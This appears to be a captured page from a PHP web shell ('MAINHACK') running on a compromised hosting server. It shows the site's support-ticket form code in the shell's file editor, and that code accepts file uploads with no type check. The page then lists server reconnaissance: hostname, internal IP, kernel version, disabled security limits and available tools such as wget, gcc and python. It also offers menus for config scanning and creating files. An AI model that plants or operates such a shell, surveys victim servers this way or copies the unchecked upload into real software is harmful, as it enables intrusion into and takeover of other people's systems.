[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: support_form.php
<?php include('header.php'); ?> <!-- Banner Start --> <!-- Inner-Banner --> <div class="inner-banner"> <img src="images/Vivahsure-banner2.png" alt="" class="inner-banner-img"> <div class="container"> <ul> <li><a href="profile.php" class="active">Raise a Ticket</a></li> | <li><a href="index.php" class="">Home</a></li> </ul> </div> </div> <!-- // Inner-Banner --> <!-- top Products --> <div class="ads-grid"> <!-- tittle heading --> <div class="inner-title"> <h2>Support Ticket</h2> <h3>Fill up the form for any query</h3> </div> <!-- //tittle heading --> <div class="container"> <div class="row"> <!-- product left --> <?php include('user_profile.php');?> <!-- //product left --> <!-- product right --> <div class="agileinfo-ads-display col-md-9 w3l-rightpro"> <div class="wrapper-profile"> <!-- first section --> <div class="profile-banner"> <h4><strong>Support Ticket</strong></h4> <hr> <form class="profile" method="post"> <div class="col-md-6 col-sm-4 col-xs-6"> <label>Subject:</label> <input type="text" name="subject" /> </div> <div class="col-md-2 col-sm-4 col-xs-6"> <label>Upload Image:</label> <input type="file" name="img"/> </div> <div class="col-md-12"> <label>Message:</label> <textarea name="content"></textarea> </div> <div class="clearfix"></div> <input type="submit" class="green_button" name="suport" value="Submit Query" /> </form> <?php if(isset($_POST['suport'])){ // $status='Active'; if(isset($_FILES['img']['name'])){ $img=$show->imageEdit($_FILES['img']['name']); move_uploaded_file($_FILES['img']['tmp_name'],"product_img/".$img); } $tik=$show->getid('ids','TCK'); $data = array( 'user_id' => $_SESSION['login_id'], 'ticket_id'=>$tik, 'subject' => htmlspecialchars($_POST['subject']), 'image' =>$img, 'content' => htmlspecialchars($_POST['content']), 'status' => 'OPEN', ); if($show->insert('tickets',$data)){ echo '<script> setTimeout(function() { swal({ title: "Thank You ", text: "Your Support ticket has been raised we will contact you soon", type: "success" }, function() { window.location = "all_ticket.php"; }); }, 1000); </script>'; } } ?> </div> <!-- //first section --> </div> </div> <!-- //product right --> </div> </div> </div> <!-- //top products --> <?php include('footer.php');?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 692.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619